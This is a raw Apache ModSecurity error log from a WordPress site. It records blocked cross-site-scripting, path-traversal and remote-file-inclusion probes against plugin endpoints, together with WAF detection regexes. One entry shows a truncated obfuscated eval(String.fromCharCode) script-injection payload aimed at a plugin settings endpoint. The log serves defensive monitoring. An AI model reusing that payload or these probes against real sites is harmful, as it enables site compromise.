[Tue Sep 24 07:07:27.734326 2019] [:error] [pid 13823] [client 50.62.23.56:46746] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/wp-admin/"] [unique_id "XYmkjz6yhXbKkHa9qZVLSQAAAAM"], referer: http://fincasandoval.com/wp-admin
[Tue Sep 24 07:07:33.101599 2019] [:error] [pid 12854] [client 50.63.162.9:48170] [client 50.63.162.9] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmklde0HvMphrPwBFNOegAAAAI"]
[Tue Sep 24 07:07:44.508157 2019] [:error] [pid 4483] [client 50.63.162.9:50618] [client 50.63.162.9] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:licenseEmail. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmkoNQQvIRP7sKVgnOPvAAAAD0"], referer: livechat_settings
[Tue Sep 24 07:17:29.232465 2019] [:error] [pid 13173] [client 50.62.23.56:43790] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS_NAMES:{"settings":{"wps_settings_general_products_url":"\\\\""eval(String.fromCharCode(32,40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,118,97,114,32,101,108,101,109,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,9,101,108,101,109,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39, [hostname "fincasandoval.com"] [uri "/wp-json/wpshopify/v1/settings"] [unique_id "XYmm6cZoDPFnNLhok1iILgAAAAs"]
[Tue Sep 24 07:17:29.613374 2019] [:error] [pid 12854] [client 50.62.23.56:43928] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:mapName. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmm6de0HvMphrPwBFNOhQAAAAI"]
[Tue Sep 24 07:17:56.018050 2019] [:error] [pid 14011] [client 50.62.23.56:53978] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:dpc[basic_metadata][verify][google]. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmnBMveIk4hf6Z3NF4dWQAAAAA"]
[Tue Sep 24 07:18:01.359942 2019] [:error] [pid 12854] [client 50.62.23.56:56442] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:gapi_client_id. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmnCde0HvMphrPwBFNOhgAAAAI"]
[Tue Sep 24 07:18:23.277605 2019] [:error] [pid 13353] [client 50.62.23.56:36756] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmnH@pbHh8Q3feuO7eSvQAAAAE"]
[Tue Sep 24 07:30:25.081367 2019] [:error] [pid 13170] [client 50.62.23.56:48536] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:import-json. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmp8e1l3YvQe-CV9OKP@QAAAAo"]
[Tue Sep 24 07:30:25.526311 2019] [:error] [pid 15201] [client 50.62.23.56:48720] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:handle"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:handle. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmp8YTPyK4qgKvkHgdtrwAAAAY"]
[Tue Sep 24 07:30:26.406615 2019] [:error] [pid 15011] [client 50.62.23.56:49066] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:email. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmp8jQJZ3bYvRM8SHj1SgAAAAw"]
[Tue Sep 24 07:30:26.793337 2019] [:error] [pid 13176] [client 50.62.23.56:49228] [client 50.62.23.56] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:email. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYmp8v0Oq0XkduE4VE9qfwAAAA8"]
[Tue Sep 24 07:32:04.565983 2019] [:error] [pid 15168] [client 50.62.23.56:44868] [client 50.62.23.56] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYmqVJnC5u4OnWLlq7aJhQAAAAM"]
[Tue Sep 24 15:22:37.361649 2019] [proxy_fcgi:error] [pid 7418] [client 194.61.24.94:50641] AH01071: Got error 'Primary script unknown\n'
[Tue Sep 24 22:46:38.896860 2019] [autoindex:error] [pid 28546] [client 51.75.95.185:60772] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Tue Sep 24 23:32:21.075084 2019] [:error] [pid 1430] [client 40.117.226.83:60607] [client 40.117.226.83] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-mobile-detector/resize.php"] [unique_id "XYqLZaIv73We6YaPnGbEzwAAABw"]
[Tue Sep 24 23:32:21.177105 2019] [authz_core:error] [pid 1430] [client 40.117.226.83:60607] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-mobile-detector
[Tue Sep 24 23:32:23.306268 2019] [:error] [pid 1426] [client 40.117.226.83:61084] [client 40.117.226.83] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "XYqLZ-Ja8D9@hN@q@A2eMgAAABY"]
[Tue Sep 24 23:32:23.732195 2019] [:error] [pid 1426] [client 40.117.226.83:61084] [client 40.117.226.83] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:fileName"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:fileName. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/candidate-application-form/downloadpdffile.php"] [unique_id "XYqLZ-Ja8D9@hN@q@A2eNgAAABY"]
[Tue Sep 24 23:32:23.834966 2019] [:error] [pid 1426] [client 40.117.226.83:61084] [client 40.117.226.83] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:filename"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:filename. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "XYqLZ-Ja8D9@hN@q@A2eNwAAABY"]
[Wed Sep 25 11:30:38.466662 2019] [:error] [pid 23715] [client 149.202.215.42:55157] [client 149.202.215.42] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYszvpDT3IsZBNcaSOBhgAAAAAA"]
[Wed Sep 25 11:30:45.650597 2019] [:error] [pid 23772] [client 149.202.215.42:55255] [client 149.202.215.42] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYszxQ4Zi7I9hJS0pYu1CgAAAAE"]
[Wed Sep 25 11:30:48.943228 2019] [:error] [pid 23725] [client 149.202.215.42:58780] [client 149.202.215.42] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYszyP4Wrx8qoKv-aKMOrwAAAA0"]
[Wed Sep 25 11:30:50.112735 2019] [:error] [pid 23642] [client 149.202.215.42:60283] [client 149.202.215.42] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYszyoO7sT1LZr71uMuq7gAAAAg"]
[Wed Sep 25 11:31:21.447121 2019] [:error] [pid 23616] [client 149.202.215.42:47975] [client 149.202.215.42] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:licenseEmail. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XYsz6QmCqZQ1Oe8UUHiilwAAAAc"], referer: livechat_settings
[Wed Sep 25 11:31:21.539798 2019] [:error] [pid 23721] [client 149.202.215.42:48032] [client 149.202.215.42] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYsz6SDVighaWmE4Iam4GwAAAAU"]
[Wed Sep 25 11:44:46.346531 2019] [:error] [pid 25213] [client 64.6.231.76:35436] [client 64.6.231.76] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYs3DvnWm4PyDd2rzV305AAAACg"]
[Wed Sep 25 11:44:48.281103 2019] [:error] [pid 25235] [client 46.105.17.29:59204] [client 46.105.17.29] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYs3ELtvwS8@B-93BV7RBQAAADQ"]
[Wed Sep 25 11:44:48.952279 2019] [:error] [pid 25250] [client 64.6.231.76:48974] [client 64.6.231.76] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYs3ELxxUbfqGRpdJyuFiAAAAEM"]
[Wed Sep 25 11:45:02.960461 2019] [:error] [pid 25243] [client 46.105.17.29:43618] [client 46.105.17.29] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYs3Hq9CMZEK3qkBLiX1awAAADw"]
[Wed Sep 25 13:34:49.788247 2019] [authz_core:error] [pid 6425] [client 51.77.52.160:57708] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/woocommerce-abandoned-cart
[Wed Sep 25 16:03:49.980794 2019] [authz_core:error] [pid 24130] [client 51.77.52.160:48548] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-statistics
[Thu Sep 26 07:52:09.473431 2019] [:error] [pid 3052] [client 188.43.23.61:56764] [client 188.43.23.61] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XYxSCQ4hV@YCmwO5mO37IQAAAAM"]
[Thu Sep 26 10:43:14.371199 2019] [authz_core:error] [pid 22840] [client 78.85.138.163:24518] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-live-chat-support
[Thu Sep 26 19:05:55.870671 2019] [proxy_fcgi:error] [pid 19129] [client 66.249.66.64:53030] AH01071: Got error 'Primary script unknown\n'
[Fri Sep 27 02:22:11.631482 2019] [:error] [pid 30659] [client 162.243.13.195:50722] [client 162.243.13.195] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY1WMzeHMLxtsNDbiqULiAAAABU"]
[Fri Sep 27 02:22:17.477103 2019] [:error] [pid 1173] [client 162.243.13.195:54088] [client 162.243.13.195] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY1WOUPUsmlWl@6W8D3MSgAAAAE"]
[Fri Sep 27 02:22:34.308848 2019] [:error] [pid 30653] [client 162.243.13.195:60542] [client 162.243.13.195] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY1WSvIbV-NlvH9wKyJaCwAAAA4"]
[Fri Sep 27 02:22:42.365201 2019] [:error] [pid 1876] [client 162.243.13.195:35872] [client 162.243.13.195] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY1WUh16pq7ij2FK4d9dcgAAAAo"]
[Fri Sep 27 02:22:52.904773 2019] [:error] [pid 1872] [client 162.243.13.195:42648] [client 162.243.13.195] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:licenseEmail. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY1WXNAFF9mLCSAOOBZOcwAAAAc"], referer: livechat_settings
[Fri Sep 27 11:56:15.015304 2019] [:error] [pid 3946] [client 149.202.215.42:38637] [client 149.202.215.42] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY3cv5VYdWVXLC2FyWfrCQAAAAo"]
[Fri Sep 27 11:56:19.724934 2019] [:error] [pid 3869] [client 149.202.215.42:51119] [client 149.202.215.42] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY3cw9rFptU756@OBGKvwQAAAAA"]
[Fri Sep 27 21:02:43.817567 2019] [authz_core:error] [pid 4225] [client 78.85.138.163:28514] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/woocommerce-products-designer
[Sat Sep 28 01:31:43.537689 2019] [authz_core:error] [pid 459] [client 194.61.24.94:61485] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/deeper-comments
[Sat Sep 28 17:08:37.717932 2019] [:error] [pid 32178] [client 104.131.155.126:43766] [client 104.131.155.126] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:width. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY93dTHXTKRa@KtGeCfPBAAAAA8"]
[Sat Sep 28 17:08:42.890193 2019] [:error] [pid 29631] [client 104.131.155.126:44878] [client 104.131.155.126] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:domain. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY93eqTrLmL675b0qBDN4AAAAAU"]
[Sat Sep 28 17:08:47.511718 2019] [:error] [pid 32177] [client 104.131.155.126:45822] [client 104.131.155.126] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:wplc_custom_js. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY93f-54RSpDRoVcsbmb-AAAAA4"]
[Sat Sep 28 17:08:48.470957 2019] [:error] [pid 31299] [client 104.131.155.126:46109] [client 104.131.155.126] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:wplc_custom_js. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XY93gEE@TF0ykLCAd5Mw9wAAAAA"]
[Sat Sep 28 17:08:56.373009 2019] [:error] [pid 32175] [client 104.131.155.126:47443] [client 104.131.155.126] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "XY93iE38-RQBxjWnWLIRbwAAAAw"]
[Sun Sep 29 07:56:25.481437 2019] [proxy_fcgi:error] [pid 21496] [client 66.249.66.68:39507] AH01071: Got error 'Primary script unknown\n'
[Sun Sep 29 14:14:30.457668 2019] [:error] [pid 23503] [client 35.232.85.45:65286] [client 35.232.85.45] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-mobile-detector/resize.php"] [unique_id "XZCgJlVRatZpnvlzSaD2NQAAAA0"]
[Sun Sep 29 14:14:30.595824 2019] [authz_core:error] [pid 23503] [client 35.232.85.45:65286] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-mobile-detector
